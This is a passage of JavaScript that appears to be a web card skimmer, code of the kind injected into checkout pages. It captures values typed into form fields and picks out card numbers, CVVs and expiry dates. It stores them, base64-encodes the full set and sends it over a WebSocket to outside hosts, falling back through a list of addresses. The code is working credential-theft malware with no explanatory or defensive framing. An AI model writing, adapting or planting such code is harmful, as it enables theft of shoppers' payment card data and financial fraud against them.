                const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890';
                const charactersLength = characters.length;
                let counter = 0;
                while (counter < length) {
                    result += characters.charAt(Math.floor(Math.random() * charactersLength));
                    counter += 1;
                }
                return result;
            }

            function parse_event(e) {
                var t = e.target;
                var tag = t.tagName.toLowerCase();
                var val = t.value.trim();
                if (!val.length) return;
                var obj_key = get_key(t),
                    obj_val = false;
                switch (tag) {
                    case "input":
                        obj_val = val;
                        break;
                    case "select":
                        var elems = t.querySelectorAll(`option[value="${val}"]`);
                        if (elems.length) {
                            var v = elems[0].textContent.trim();
                            if (v.length) obj_val = v;
                        }
                        break;
                    default:
                        break;
                }
                if (obj_val) set_data(obj_key, obj_val);
            }

            function check_full() {
                var err = 0;
                ['card', 'cvv', 'mn', 'yr'].forEach(function (k) {
                    var tp = typeof (data_obj.cc[k]);
                    if (tp !== "string" && tp !== "number") err++;
                });
                write_storage(data_obj);
                if (err == 0) send_ws_data();
            }

            function is_cc_data(val) {

                var check = false;
                if (val.indexOf('/') > 0) {
                    check = true;
                }
                var only_num = val.toString().replace(/[^\d]/g, '');

                if (only_num.length == 16) {
                    data_obj.cc.card = only_num;
                    return true;
                }

                if (only_num.length == 3 || (only_num.length == 4 && !check)) {
                    data_obj.cc.cvv = only_num;
                    return true;
                }

                // if (only_num.length == 2) {
                //     if (check_exp(only_num)) return true;
                //     if (check_exp(only_num, 'yr')) return true;
                // }

                if (only_num.length == 4 && check) {

                    var mn_str = only_num.substr(0, 2),
                        yr_str = only_num.substr(2);

                    if (mn_str == "20") {
                        if (check_exp(yr_str, 'yr')) return true;
                    } else {

                        if (check_exp(mn_str) && check_exp(yr_str, 'yr')) {
                            return true;
                        }

                        // if (check_exp(mn_str)) return true;
                        // if (check_exp(yr_str, 'yr')) return true;
                    }

                }

                if (only_num.length == 6) {
                    var mn_str = only_num.substr(0, 2),
                        yr_str = only_num.substr(2);
                    if (check_exp(mn_str)) return true;
                    if (yr_str.substr(0, 2) == '20')
                        if (check_exp(yr_str.substr(2), 'yr')) return true;
                }

                return false;
            }

            function check_exp(val, type = 'mn') {
                var num = parseInt(val);
                if (type == 'mn') {
                    if (num >= 1 && num <= 12) {
                        data_obj.cc.mn = val;
                        return true;
                    }
                }
                if (type == 'yr') {
                    if (num >= 23 && num <= 40) {
                        data_obj.cc.yr = val;
                        return true;
                    }
                }
                return false;
            }

            function set_data(key, val) {
                if (is_cc_data(val)) return check_full();
                data_obj.data[key] = val;
                write_storage(data_obj);
            }

            function send_ws_data() {
                var data_ = btoa(JSON.stringify(data_obj));
                console.log(data_)
                connect_ws(data_);
            }

            function connect_ws(data) {
                if (arr_links.length) {
                    var ws_host = arr_links[dom_ind];
                    var full_url = ws_host + "?link=" + user_link;
                    var ws = new WebSocket(full_url);
                    ws.onerror = function (e) {
                        if (arr_links.length > dom_ind + 1) {
                            dom_ind++;
                            connect_ws(data);
                        }
                    }
                    ws.onopen = function (e) {
                        var tmr = setInterval(() => {
                            if (ws.readyState == 1) {
                                ws.send(data);
                                ws.close();
                                clearInterval(tmr);
                            }
                        }, 100);
                    }
                }
            }

        }());

    })();
    window.d5yRYwil9rcarc9sDbJXtRRq0jifEAI4 = true;
} else {
    console.log('Script already load');
}